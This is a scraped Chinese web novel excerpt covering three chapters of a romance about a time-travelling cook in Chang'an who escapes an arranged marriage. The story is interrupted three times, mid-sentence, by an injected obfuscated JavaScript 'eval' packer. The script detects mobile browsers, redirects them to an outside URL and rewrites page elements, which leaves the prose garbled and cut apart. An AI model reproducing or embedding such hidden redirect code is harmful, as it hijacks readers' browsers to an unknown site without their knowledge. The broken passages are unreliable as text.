《三娘百味坊（美食）》 1. 香竹饭 建宁二年。 岁末，长安大寒。 酉时过半，国朝虽无宵禁，但近郊的青龙大街到底与东西市距得远，整街上仅僻角处一家小店在簌簌风雪中亮着孤火。 店主罗姈掀起后厨的帘子，向店内唯一的客人虚虚行了个礼，无奈询问：“易郎君，今日的席面还需上否？” “可是要打烊了？”被唤的客人忙作揖致歉，“耽误罗娘子工时了，实在对不住……” “倒无这般急，百味坊戌时闭店，只是现下您的客人迟迟不至，饭肴在灶上温得太久，恐失了风味。”易礼是百味坊的常客，二人尚算熟稔，罗姈便坦然直言了。 “要是贵客到的太晚，那便只能撤了……” “好好好，一切罗娘子安排。”易礼气言，“哼，想他就是个没口福的！” 正叫着口，暖帘忽地掀起，堂前窜进一小股冷风，轰散了堂中暖意。 来人三五步跨至面前，周身还熏着淡淡酒气。 罗姈吃了口冷风，抬眼就瞥见一双格外漆黑的眼瞳。 易礼见人叫骂曰：“顾承禾，我请你用暮食，你吃了酒来？还误了近一个时辰？” 其人人高马大，气势凛凛，却顺从地赔起不是：“宫中留用，实在抽身不能。” 嗓音如冬泉，既冷且冽。 罗姈错开眼，无意瞥见其腰间佩剑，心中一惊，忙不迭转向易礼：“看来贵客已至，即刻传菜？” 易礼点了点头，挑开唯一的单间隔帘，偏头招呼顾承禾：“忙大人，请吧。” 罗姈则向顾承禾微微颔首，转身去后厨备菜。 顾承禾解剑落座，易礼揶揄：“你如今也忒难请动，赶明儿我想再约你是不是还得提前三日下个帖子？”后探头唤，“伙计，上茶。” 顾承禾掸了掸身上的寒意，轻叹：“这两日都是陛下传唤，委实无暇。” “话说你哪年不是得胜班师，怎的我瞧着今年这阵仗尤其大……” “茶来了——”小春奉上茶具打断二人对话。 “放着吧，我亲自点。”易礼茶艺甚高，每来用饭大多都自己冲泡，小春也清楚他的习惯，摆好茶具就默默退下。 投茶、注汤、调膏、二注汤、击拂、三注汤、再击拂，一套行云流水做完，小春也奉菜而来。 “碎红浮金、人间新绿，二位先用。” 易礼立马献宝似的夸赞：“这家食店是今岁新开的，别看门面小，却不比东市的燕云楼差。” 顾承禾闻言不动声色地打量一番，不论是隔帘上的兰草图，还是随意一个小玉石摆件都十分讲究。 店面虽小却大有朴拙之风，质而不野，难怪能得好友青睐。 “方才你见到的小娘子就是店里的庖厨，年纪虽轻却擅炒制法，快尝尝。”易礼挑眉催促。 顾承禾垂首观察，自个儿面前这道想来就是“碎红浮金”，鸡蛋金黄油润，红柿身上淌着诱人的酸甜汁水，二者紧紧挨在一处，瞧着就让人胃口大开。 再看另一盘“人间新绿”，嫩黄嫩绿的时蔬芽漾在汤汁里，亦是清爽怡人。 仅观其表，色香味意形里已然全了四面。 不过顾承禾手都没碰一下筷子，小幅摇首，敬谢不敏：“在宫中已用过暮食了。” “你再用一著嘛，每次上这‘碎红浮金’我都要用两碗饭。”易礼见顾承禾不为所动，简直痛心疾首！ 其实这头两道菜不过就是西红柿炒蛋和清炒时蔬。 罗姈初入长安为谋生计开了这家百味坊，可偌大的长安城酒楼正店百余家不止，要想在这夹缝中赚到银钱还得另辟蹊径。 于是她突发奇想做一家没有点菜单子的食店，全依当日采买的食材由庖厨发办。 又因时人好文气，讲风雅，她还特意给每道菜拟个雅名，凭这种开盲盒的形式当真吸引到不少书生才子寻味而来。 用料金贵，环境清幽，加上本朝炒菜方兴，许多庖厨力有不及，她幸借后世技艺经验才慢慢在长安城站稳脚跟。 易礼是百味坊自开业起就光顾的常客，不仅自己来，还不忘宴邀朋友来。 但对方却不买账，自己独享倒还憋闷，美肴还是要分享才愈加可口！ 易礼一抿嘴边残余的汤汁，继续诱哄：“你就尝一尝罢，这家暮食席面可难订得很。” “家训有云：‘过酉不食’。且饮食得以饱腹即可，你我之交不必如此靡费。” 饶是易礼如何游说，顾承禾都不为所动。 也是，眼前这家伙无论风霜雨雪，日日练功不懈，循规蹈矩了一辈子，要他破清规简直痴心妄想。 易礼晓得这人无论如何是不会松口了，长叹作罢，只好寂寞地大快朵颐。 顾承禾默不作声盯着他须臾，忽而放低声音：“左相起复回京，今日已面见陛下。” 前尘颠倒，重归旧序。 易礼执著的手一抖，眸光几不可察地黯下，再抬脸时已重新挂上浅笑，“宰辅庙堂之事与我这样的庶民何干？” 拿起手边的茶盏递向对面，语意深重：“承禾，吃口茶，醒醒酒。” 顾承禾无奈接过，还是想说：“圣上亦问起你……” “第三道——参差绿卿。”话未尽，小春传菜的声音响起，顾承禾只能匆匆咽下。 错失时机后他再想开口，易礼已兴致勃勃地论起新菜品。 “罗娘子这又是什么新花样？” 俨然不欲再谈。 再多说就要闹不愉了，顾承禾便顺势去看这所谓“参差绿卿”。 一道极长的平盘上，高矮不一地摆了些竹节，周遭还洒满了黑黢黢的“泥土”。点缀其中的竹叶子乍看凌乱，实际乱中有序，巧妙地构成一景。如若不是这些绿竹还蒸腾着热气，怕是能叫人以为是一处手作假景。 小春净手后一边拆竹一边解释：“此肴俗名香竹饭，乃南诏名食。是将江米塞进香竹筒中，用炭慢火烤制而成，自带竹叶清香，别有一番风味呢。” 顾承禾回忆罗姈明明说得一口地道官话，不由讶然：“贵店庖厨是南诏人？” 然易礼先答：“承禾这你就有所不知了，罗娘子是位精于庖厨之道的饱学才女，博闻广识令我都自叹弗如，此肴定又是从哪本游记里学来的罢。”赞叹之情溢于言表，转瞬连连叹息，“可惜听说都是绝版孤本，否则我即使网罗天下也要借来一观。” 小春笑着点头，示意正如易礼所言：“娘子今日也是初试，如有不足，二位客官尽可直言。”说完将拆好的竹筒放在二人面前。 一打开，喷香的熏腊混合着清新竹香裹缠满面。 小春也忍不住将香气偷偷吸进腹中一解馋意，尔后细细介绍道：“此筒为豚酱馅儿，适于咸口。” 竹盖下，焦褐色的腊肉肥瘦相间，酱汁丰腴，藏在油汪汪、亮晶晶的江米中，仅露出一指宽，香气却霸道地占满了整个隔间。 易礼惯是爱尝鲜，他迫不及待地取走一大块，连肉带米放在口中慢慢咀嚼，熏腊混了豚油闷在江米中，夹缠着清爽的竹气，竟一点儿也不觉油腻。 方才只用了几口菜，这会儿主食一下肚身子都骤然暖起来了。 “此一种是纯白江米馅儿，蘸此沙糖食用，适甜口。”小春又拆了另一节稍矮的竹筒，指着平盘里的“黑土”道。 易礼一听登时将“新奇”写了满脸，忙凑近去看，朗声大笑：“这泥土我还当是罗娘子置的景罢，没想到竟是糖粉，罗娘子真是巧妙心思！” 一旁的顾承禾倒是波澜不惊，仿佛对这些吃食当真提不起一点儿兴致。 易礼依依不舍地放下手中的豚酱口味，特意用茶汤漱口后再取了一著纯白江米，依言滚了圈“泥沙”，小心翼翼地送入口中。 甫一入口，特地研细的沙糖在舌尖遇上津液骤然化开，尤其凸显江米本身的甜糯与猗猗绿竹的清香。 这般特别直白的甜蜜滋味勾地易礼都不舍咽下，两种口味他都爱极，于是他脑筋一转：“承禾你确定不尝？一口都不尝？” 虽然香风撩人，但顾承禾自幼克己，他正襟危坐，丝毫没有破戒的打算，示意易礼尽可自用。 易礼干脆浑忘礼仪，直接上手将放在顾承禾面前的半只竹筒往自己近前拢。 小春见顾承禾不动筷，正想询问可是有何忌口，就听见后厨的罗姈唤她，只好先行退下。 易礼风卷残云般将拆好的两只竹筒用了个干净，自己一边伸手拆下一个一边感叹：“在长安城吃了二十余年，大大小小的食店近乎吃遍，马家店量大味美，广和居的郭厨犹擅炖煮，燕云楼的大师傅御厨出身，技艺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464417|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已算得上全面，但吃来吃去还是罗娘子的手艺最得我心。” 末了还非拉上顾承禾评议：“你才从宫宴上回来，承禾你说是不是比那些尚食做的还好？” 提起宫宴，这下子轮到顾承禾面色不佳了。 他犹豫半晌，终是道：“今日宴上，昭云公主也在。” 易礼不明所以，等着好友下文。 顾承禾闲置的手渐渐成拳：“陛下似乎有意……要我尚公主。” 这消息太过突然，易礼先是一愣，尔后展开笑颜，发自内心为好友高兴：“啧，我还道你要做一辈子寡汉了，未曾想你顾承禾年纪越大，行情越涨啊。” “陛下当真看中你，我记得昭云公主还是碧玉年华……”说着说着，易礼终于察觉好友神色不对，顺着对方的目光看去，桌上安安静静置着顾家的传家宝剑。 宝剑无华，出鞘方显威风。 易礼蓦地醒过神，心里咯噔一下，先他只顾着高兴，方才思及更深一层。 本朝驸马不授实职。 陛下此意……是在要权啊。 易礼皱紧眉头，朝堂之事他不便问，也不想问：“这……唉，要是五年前你能从边关回来，如今怎会被陛下拿捏住婚事做文章？”恨恨锤了下桌面，“真乃天意弄人！” “往事莫提。”顾承禾抬手制止易礼说下去。 易礼深深叹了口气，很为好友如今的处境忧心。 气氛正陷入低迷，罗姈亲自来询问用餐感受。 “今日的菜肴，二位客官可还算满意？” 易礼毫不吝啬溢美之词：“我从未用过这般可口的饭肴！用了罗娘子的香竹饭，从前的饭简直白用了！” 罗姈的唇角不由勾起，得到食客如此认可，也不枉她费这诸般功夫。 见顾承禾岿然不动，罗姈转而问：“这位客人，可是有忌口？” 虽已听说顾承禾一口菜肴也没用，但罗姈对自己安身立命的本事自信得很，所以她只觉着客人应是有什么忌讳。 “并无，只是在下用过暮食，不宜再用了。”一直沉默的顾承禾终于开口。 来过百味坊的客人只恨没多生个胃，罗姈还是第一次遇上完全不为所动的人。 她还是不信：“可是小店招待不周？但请直言。” 易礼出来打圆场：“他就是个迂直性子，规矩一箩筐，不必管他，今日的席面甚美，这是赏银。” 之前订席时已付过银钱，不过这位易郎君向来出手大方，罗姈一直甚喜他来，就是这次带的友人实在挫败人。 喝完最后一口茶，易礼揣着满肚子食物，顾承禾揣着满肚子心事，一齐踏出店门。 送走客人后，小春忧心忡忡地凑上来：“娘子，外头风雪似乎又大了些。” “这雪还下个没完了。”罗姈拨弄两下算盘，思忖道，“左右时节不好，大家都不愿走动，后头没人订席散客也不多，干脆明日不开张了，咱们也松快松快。” 能躲懒一日，小春听罢十分高兴。 “你不是又馋糖缠了吗，明日不做活我给你做八个口味，怎么样？”罗姈放下账本慵懒地抻抻手。 小春更高兴了，忙道：“我要瓜子仁儿和松仁儿的！” 罗姈笑骂：“尽挑麻烦的，那你自己剥。” 小春头如捣蒜，笑容谄媚：“自是应当！” “行了，你把梯子拿来，我去取迎客灯笼。” “得嘞。”小春欢天喜地地去了后院。 雪落无声，一串细碎的脚步声在窗外窸窸窣窣。 不一会儿，叩门声响起。 可她这是食店，大门也没有关，直接进来便是。 罗姈径直走去，不知怎的，眼皮忽而一跳。 “实在抱歉，小店已经打烊了……”话音未落，罗姈抬眼瞧见檐下人的面孔，霎时停了呼吸，寒雪天里仿佛被人浇了一盆凉水，冻得牙齿都打颤。 影影绰绰的灯光下，那人身后还站着三四个彪形大汉，将大门堵了个结结实实。 “娘子请吧。” 为首之人十分有礼，恭恭敬敬摆出请的手势，为她让出一道狭路，隐约能看见尽头停着一辆幽暗马车。 见她定在原地，俯视冷哼：“奴劝娘子乖乖上车，否则莫怪小的们下手没个轻重。” 2. 生炮鸡 得，白干！ 全都白干！ 她为了解除那个狗屁婚约，从黄州到长安，跑了整整一千二百里，还是跑不出她爹的五指山。 这次还被直接关了禁闭。 怎么办？ 按照常规剧情，接下来她应该绝食抗议，自残相逼，最后白绫三尺，以死明志。 不行！ 她罗姈可委屈不了自己一点儿。 划刀子多疼啊，饿肚子就更不行了！ 罗姈躺在黄花梨木床上，望着头顶的锦绣承尘，眼前一片灰暗。 事已至此，先吃饭吧。 “呸！” 本来心情就不佳，难以下咽的食物更是雪上加霜。 罗姈端详着婢子刚刚送来鸡汤，为这只老母鸡默哀：“被他们抓来，看来你也是死不瞑目。” “看在难姐难妹的份上，我帮你走得体面些。” 摸到小厨房，罗姈东翻西找，才勉强凑够一圈调料。 只有豆油、黄酒、秋油、酢、芡粉，那就做个生炮鸡|吧。 拍拍手里的灰，罗姈将翻出来的材料摆上灶台。 她微微叹气，将手中鸡汤里的汤水全都倒掉，仅留下的鸡块，再麻利地拌上秋油和黄酒，放入刚烧滚的油内炸制。 做这生炮鸡要过三道油，因鸡子已熟制过，只好微炸，连炸三次盛出，最后再浇上酢和芡粉勾出的酱汁，就完成了。 “可惜未有葱花，美中不足。”罗姈浅尝一块，勉强点头，连着用了几口饭。 “娘子您还有心情下厨呢？”小春急吼吼地冲进来。 “那不然呢？这院子就这么点大，被拘着哪儿都不能去，除了睡觉就只能做饭。”罗姈放下竹筷，郁闷地大倒苦水，“小春你是不知道，也不知管家哪里找的庖厨，做的哪是鸡汤啊，分明是鸡的最后一锅洗澡水！” 小春被罗姈的俏皮话逗得忍俊不禁，倏忽忘了来意。 “我只好自己动手改善下伙食了，你尝尝。”罗姈将生炮鸡递去，刚出锅的炸鸡还散着热气儿，酢酱亮晶晶地挂在上面，撩人得紧。 小春顺势接过，将鸡子送至嘴边方忆起自己是来报信的，急地撇下碗筷：“娘子您别寻思吃了，下月初二禁足一解老爷就要把你塞进花轿啦！” “这么快？”罗姈惊起，霎转愁容。 今日是冬月二十二，满打满算只有十天了。 小春：“阿娘叫我想法子让娘子知晓，这才央了夫人放我进来陪您一起禁足。” 小春的阿娘是府中老仆，还是罗姈原身的奶娘，待罗姈如亲子，上次逃婚就是靠她偷偷给行的方便。 没想到她阿爹居然还是不死心，非要把她嫁了不可。 罗姈急得在厨房里团团转，转了好几圈，拳敲掌心，定了主意：“他非要逼我大不了就再逃一回婚！” 小春又道：“这次恐怕不行，您知道夫人怎会放我进来？”她一指外头，“院子外多是守卫，根本出不去。” 看来她阿爹是做了充分准备。 “那我也不能坐以待毙啊，”罗姈烦躁地挠挠头，不死心道，“对了！刚在小厨房里搜刮东西时，我看见柴堆后面有个狗洞。” 她微微一笑，心中有了计划。 “您要钻狗洞？”小春表情难言，她都不忍心打击罗姈了，“可这狗洞通的也是外院，您出不了府啊。” “没关系，我同你换身衣裳伪装一下不就行了，反正那些新婢子都不识得我。” 罗姈本来挺自得于妙计的，转念一想自己先否决了：“不行，这样会牵累你受罚，还是算了。” “上次逃婚带着你，是我有十足的把握，这次前途未卜的，你还是留在府中罢。” “娘子……”罗姈自己处境已如此艰难，还顾念着她，小春微微哽咽。 “行了，你走罢，就说是我不要人陪。”罗姈把小春推到小院门口，“记着，你从未说过先前的那些话。” “可是娘子……” 罗姈安抚她：“放心，我又有了计策，你出去正好帮我。” “附耳过来。” 主仆二人密语一番，小春便如吃了定心丸一般，颔首离去。 罗姈则是转身回了厨房，将已经凉透的生炮鸡就着饭囫囵咽了。 吃饱了，才有力气逃跑嘛。 …… 戌时，夜已大黑。 府中渐渐没有人活动，只有轮班倒的家丁称职地护卫着这座宅院。 不知哪个角落突然响起一阵惊呼—— “走水了？” 奴仆婢子纷纷跳下床：“走水了？哪里走水了？” 就在众人急慌慌地跑出来在冰天雪地里找那遗火处时，始作俑者已悄然掩在人群中，她遮掩住口鼻粗着嗓子喊：“主子房里走水了？” 什么？主子出事那还了得？ 虽是一声疑问，也使各房奴仆婢子趿着鞋子就往外奔。 与此同时，罗姈院外巡逻的护院也听到了动静，一人道：“似是有屋舍走水，咱们要不要去？” 另一人望了望：“连烟子都没烧起来，想来势头不大，老爷令咱们一定要守好娘子，这头才是最紧要的。” 守夜的两位护院都没有擅离职守，罗姈叫小春散布的幌子未曾挪动他们半分。 不过没关系，她本就不是为了调虎离山，而是想使一出金蝉脱壳。 一墙之隔的罗姈听到有了动静立马开始搬堵狗洞的柴草，尔后试图钻出去。 可冬衣厚实，阻碍颇多。她干脆狠下心，脱了外裳。 寒冬腊月冷得直哆嗦，但好歹能顺利爬出去了。 此时外院下人房里已经无人，罗姈随手扯了件使女的外裳披着，从下院门口直接跑了出去。 冬夜深黑，除非咫尺，任她亲娘来了都辨不清面目。 到处都是奔忙的人，仆役们将大小桶类的救火家什尽数搬出，且都在问：“究竟是哪里走水了？” 罗姈跑啊跑，一路跑到了大门口，掩着口鼻装作呛了烟，一副慌张模样，沙哑着朝守门的阍人叫喊：“走水了！走水了！扑不掉，快去找厢使。” 一头雾水，正在观望的阍人得了令，马上跑了出去。 觅得机会，罗姈立刻向相反的方向拔足狂奔。 等隐隐觉着不对的阍人回过头来，罗姈已跑出去半条街了。 寒风猎猎，刮在脸上，应是痛的，但她根本感觉不到，只想贪婪地将这些新鲜空气全部吸进肺腑。 她阿爹一入京就来捉她，虽然捉到了人，但是还好她的公验文牒还藏在百味坊里，可以随时跑路。 罗府新宅位于兴道巷，而她的百味坊在城西的青龙大街，没有车马仅靠两条腿，跑到天亮，整夜不歇才仅能堪堪抵达而已。 穿过一个街角，罗姈低头望着自己已然全湿的鞋袜，愁煞小脸。 正思索着办法，她忽而听见有杂乱的脚步声、马蹄声渐近。 天上飘着雪花，入夜多有不便，故街上无一行人。 罗姈遂警觉地藏进暗巷。 果然，不一会儿就有细碎的交谈声，她侧耳细聆—— “你们两个骑马跟我先去青龙大街找，其余人沿街找，把长安城翻遍也要找到。老爷说了，这次不惜动手也要把娘子带回去！” 一人抱怨：“咱们这二十人翻长安城要翻到什么时候，为啥不能报官啊？请京兆尹派街使搜不还快些……” 为首的一个暴栗敲下去：“老爷就是不愿声张，不然能由着娘子在外漂泊这么久？天亮前找不见人都没好果子吃！”又狠狠踹了一脚，“还不快去！” 没想到他们发现得这么快，罗姈紧张地咬住唇瓣，百味坊是不能回了，眼下多留在长安一刻就多一分危险，她必须尽快找机会混出城，另谋生路。 然而还没等罗姈理出头绪，就听见有脚步声逼近。 竟是其中一人往这小巷搜来了！ “砰砰——砰砰——” 隐在暗处的罗姈心如擂鼓，不断祈祷对方不会入巷。 然而事与愿违，耳中靴踏雪声渐渐快盖过自己喷薄欲出的心脏。 再顾不得许多，罗姈拔腿就往巷子另一头奔去。 “谁？” 没人回应，那人当即呼引同伴：“这里！这里！小娘子在这里！” 多数人还未走远，听到声音，从各个角落围堵上来。 罗姈用尽毕生力气奔走，顺手拉倒墙边堆高的各种杂货，才勉强把身后之人拦住一截。 她慌不择路，没想到这长狭巷子的另一头竟通向宽阔的朱雀大街，一路向北直通皇城。 若是平日夜市开着，道路上车马如流，此时她早没影了。 偏就时运不好，眼下几乎无所遁形。 单薄的衣裳尽染雪寒，双腿已似灌铅般沉重。 罗姈不知自己继续徒劳奔逃又有何用，只是不想停下…… 戌时三刻，东华门外。 顾承禾信步走出宫门，环视天地一片茫茫，怔愣一瞬，四下逡巡找自己的爱马。 眼光飞掠间，前方似有人群追逐。 皇城脚下，何人放肆？ 他皱眉远眺，似是名羸弱女子，身后有十几名壮汉穷追不舍。 目力极佳的顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464418|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承禾，扫过那女子面庞。 他素来聪记强识，半面不忘。稍一回想，当即迎上。 这厢罗姈也打眼瞧见远远一个小黑点，她喉头充血，声嘶力竭道：“救命——” 眼前黑幕一闪，再抬头就瞥见一双有些熟悉的冷冽眉眼。 此刻的顾承禾眉峰紧蹙，眼光凌厉到有些渗人。 而这种压迫感，迎面对上的十余罗府护院感受最深。 目光一触，如有冷刃逼架肩头。 他们齐齐咽了口唾沫，还未及说什么，劈头盖脸就是一番拳脚。 这些护院本都是练家子，只是哪里比得过顾承禾沙场征战，刀尖舔血的身手。 故只是须臾，十几人被尽数撂倒，最后一人给补了一脚，踹得远远的。 护院们倒在雪地里，五脏六腑跟移了位似的，连呼痛都困难。 罗姈站在路旁看得一愣一愣，片晌眼睫盛满雪盐。 顾承禾转过身来，就瞧见罗姈这副呆傻模样。 看她浑身湿透，唇无血色，顾承禾利索地解了自己的大氅给罗姈披上。 被带着体温的黑狐毛一裹，罗姈才觉着自己冻得快要失去知觉了。 待她缓了一会儿后，顾承禾开口问：“娘子可需去医馆？” 罗姈摇首：“无碍，多谢大人相救，已十分感激了。” “那我送你去报官。” 罗姈连连摆手：“不必不必……” 见她惊惧非常，顾承禾严肃皱眉：“凶恶之徒不可姑息，莫怕，我陪你去。” 显然顾承禾见罗姈势薄，形象又狼狈，直接将此事定性为恃强凌弱了。 “不是……”正在罗姈有口难言时，远处马蹄声响起。 顾承禾听到熟悉的踢踏声，转身望去，看见牵马之人，大步上前。 “顾将军，您的宝马。”来人恭敬地将缰绳奉上。 顾承禾颔首接过：“有劳高公公。” 晨时自午朝门入宫，下朝后陛下留他商议西戎来朝一事，尔后又在御花园“偶遇”昭云公主，折腾一天，就近从东华门出，全然忘了飞池还栓在原地。 终于见到主人，飞池颇灵性地打了个响鼻，还在生他的气。 顾承禾顺了顺它的鬃毛，用眼神传达歉意。 飞池一甩马尾，主动蹭了蹭顾承禾的掌心，算是原谅了他。 哄好飞池，顾承禾牵马就走，高公公叫住他：“将军且慢——” 谄媚地将手里的小匣献给顾承禾，“昭云公主特命奴婢转交将军。” 听到“昭云”二字，顾承禾立时顿住。 不想接，却又不能不接。 就在这电光石火的刹那，一直缩在路边的罗姈清清嗓子，饶声轻唤： “将军——” 仅凭声音就可想见是朵怎样矫揉的菟丝花。 高公公探头去看，罗姈还特意往前走了两步，教他打量得仔细些。 纷纷细雪下，黑狐毛簇着一张白皙小脸，配上一双脉脉含情的眼睛，果然我见犹怜。 再细瞧那一身格外宽大的狐氅，高公公还有什么不明白的。 于是主动收了手，噙着一抹似笑非笑：“顾将军似乎还有要事，奴婢也有事亟待禀报陛下，就不送了。” 风云突变，顾承禾在原地愣了好半晌，直到高公公都走远了才醒过神来。 他转身疾步行至罗姈面前，呵斥道：“你要干什么？你可知方才是何人？” 岂料罗姈并无一丝惧意，面对顾承禾的横眉冷对，不紧不慢地紧了紧大氅，认认真真地回答他：“我是想报答您的救命之恩，方才那宦官……若料想不错，应是御前首领吧？” 顾承禾的目光越来越冷，笃定道：“那日你听到我们谈话？” 罗姈流露一丝歉意：“实是无心之耳。” 不管顾承禾信与不信，那日她就只听到了只言片语，自己又推敲了个大概。 “方才言行，是想解您的困境，也解我的困境。”罗姈恳切道。 顾承禾眉目深敛。 见其不言，她继续大胆道：“我想用婚事，同您做笔交易。” 顾承禾闻言冷嗤：“天子许婚，你待如何？掺和进来徒增祸事！” 罗姈明白他的意思，莫说他们其实没什么牵扯，就算他们真有婚配，天子令下，她也只有被休弃的份，更惨些，甚会丧命。 但是罗姈却扬起一抹浅笑：“将军莫急，小女姓罗。” “家父罗正松，时任尚书左仆射。” “……” 短短十二字，将顾承禾未出口的批驳之语彻底噎进肚子里。 3. 水粉圆子 罗正松，尚书左仆射兼同平章事，从二品，是大周朝真正执掌权柄的宰辅，无有之一。 乾元二十三年，受牵于户部库银失窃案，出职黄州。 罗相被贬七年，左相之位亦空悬七年。尽管还有右相代理政务，也只不过是萧规曹随罢了。 新帝登基后，重审旧案，昭明天下，将罗相重新请回长安。 入京第一日，陛下就见授其今科春闱主考，为大周奖擢人伦，可见倚重。 只是……此女郎真是相府千金？ 顾承禾在心中默默想着，忍不住偏头去看。 感受到背后的目光，罗姈了然一笑：“顾将军觉着我不似出身高门？” “……”顾承禾无以作答。 万籁寂静，只有哒哒蹄声。 不怪顾承禾心有疑虑，因为她确实不是什么大家闺秀，而是穿越过来的一个西贝货！ 真正的罗家三娘早已死在了及笄礼的那个晚夜…… “将军不如骑快点，早点到百味坊也能早点验明我的身份。”罗姈回头明媚一笑，“我偷偷学过骑马，顾将军不必顾忌，尽可扬鞭。” 确认罗姈受得住骑行颠簸后，顾承禾依言策马，将风雪甩在身后。 …… 到底是宝马良驹，比寻常车马省了大半时辰。 罗姈恋恋不舍地下了马，顾承禾本想扶她一把，见她毫不费力地径自跳下来，讪讪收回多余的担忧。 二人方进店，顾承禾将罗姈往身后一揽，环视四周：“出来！” 黑暗中，落针可闻。 罗姈清咳一声：“你们不必藏了，都出来吧。” 隐于暗处的三人互相对视一眼，躬身显露身形，拱手作揖：“娘子，得罪了。” 下一息扑身来捉。 可怜他们尚不知同僚遭遇，自以为今日捉住罗姈还能得主家赏赐。 当然他们也能感受到顾承禾的气场，所以没有贸然行动，而是由两人牵制他，另一人去逮罗姈。 结果自然是被顾承禾收拾得滚作一团。 不过知晓他们是罗府护院而非黑市打手后，顾承禾出手已然柔和许多。 罗姈无奈劝道：“齐五你们别挣扎了，这位是顾承禾顾将军。” 齐五是罗氏一族在黄州老家招揽的拳馆师傅，在罗府当差已有四五年，罗正松任黄州刺史期间一直负责护卫他，起复后便也跟着来了长安。 想当初，罗姈第一次逃婚就是差点被他逮到。 齐五非长安人氏，不识权贵，但镇国将军的威名岂会不知，他半晌才回过神：“顾……将军？” 顾承禾扭着他的胳膊道：“不再妄动我就放开你。” 齐五下意识点头，反应过来大堂黑漆漆的什么也看不见，改口道好。 罗姈去点了灯，穿堂风刮过，几人面面相觑，俱是一副摸不清头脑的模样。 他们家小娘子怎和镇国将军扯上了关系？ 很快，罗姈就解了他们的惑—— “你们回去告与我阿爹，我与顾将军已私许终生，非他不嫁！” 顾承禾：“……” 听罢，齐五三人瞪圆了眼，你看看我我看看你，谁也不敢接话。 罗姈只好道：“你们只管回去带话，其余的叫阿爹他自来寻我，在他答应之前，我是决计不会回家的。”最后轻描淡写带了句，“对了，我与顾将军的事宫里或许也知晓了，叫他老人家早做准备罢。” 还牵扯到了宫里……尽管齐五他们绝不知晓其中的弯绕，可也听得出恐怕事情不小，这下一刻也不敢耽搁，赶紧爬上马背扬鞭回府。 罗姈关上大门，点上炭火，冲上一碗热茶，才终于松下心弦。 她也倒了一碗给顾承禾：“今日真是多谢顾将军。” “对了，”罗姈作势起身，“我去拿公验文牒来给您过目？” “不必了。”顾承禾抬手。 她敢叫罗相本人来见，身份就不会有假。 “咕咕——” 一夜奔忙，罗姈的胃肠饿得左突右拱，此时发出迫切的响声。 丝毫未见她尴尬，甚至自如地揉揉肚子：“我去弄点吃食来，您要吗？” “不用。”顾承禾淡淡拒绝。 罗姈挑了挑眉，不再管他，兀自去了后厨。 还好前两日包了些水粉圆子，正下一碗饱腹。 圆滚滚、胖乎乎的圆子排好队，一个个跌进水里，在笊篱间嬉闹浮沉。 罗姈心里装着事儿，烧水时一下子没注意被锅边烫了一下，小指上的旧疤当即泛了红。 说起来，这疤还是她刚穿来古代，被她那宰相阿爹弄得。 当初知晓婚事后，他们大吵一架，砸向她脚边的茶杯，留下了这道永远的痕迹。 伤口很小，但血流不尽。 那天，她跪了一夜祠堂，滴血心穿，刻骨铭心。 从那日起，罗姈就知道跨时代的道理是永远讲不通的，她学会了隐忍，忍一时之气才有机会逃出这个令人窒息的樊笼。 片刻功夫，罗姈端着一碗热气腾腾的水粉圆子出来了。 她与顾承禾相对而坐，诚恳道歉：“先前在东华门，是我一时情急行事鲁莽了，实在对不住。” “事已至此，无可转圜。”顾承禾十分冷静，他尚记着罗姈的说辞，“娘子先前所言，此番能解我们二人之困，在下之事娘子清楚，可娘子之事，在下还一无所知。” 罗姈一面搅散碗中热气，一面颔首：“我正要提，我阿爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464419|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来兴师问罪前，我俩得对个口供。” 她舀起一颗白胖圆子，吹了吹气：“其实我是逃婚出来的，彼时在黄州就逃过一回，来了长安落脚，未曾想我阿爹他竟也回来了，这不又被捉了回去。”罗姈耸耸肩，口吻着实无奈。 顾承禾眉头紧皱：“你不愿成婚，那为何……？” 说着话，罗姈恰将圆子滑腻软糯的表皮咬破，松仁胡桃馅儿流了满满一羹匙，糖油的甜腻香气铺散开，她迫不及待地送入口中，香热软糯一进肚，才觉着自己活了过来，满足喟叹。 抿了抿舌尖余热，方顾得上回答：“所以我说这是一笔交易。” 顾承禾抬眸看她，下一息又揣得两腮鼓鼓，像极了他们军营门地养的二黑，无论平时巡营多么神气机敏，一放饭就漏了馅儿，不掩真稚。 罗姈丝毫未察对面人以犬类她，放下羹匙：“我那未婚夫婿，将军或许识得，翰林院侍讲周世清。” 顾承禾沉吟半晌：“有过一面之缘，易礼也曾多次与我提及他的诗文，似乎……并无恶名？” “他是我阿爹的得意门生，人品自然无差，唯有一点——” 罗姈撇了撇嘴：“简直就是我阿爹的翻版，一样的食古不化！” 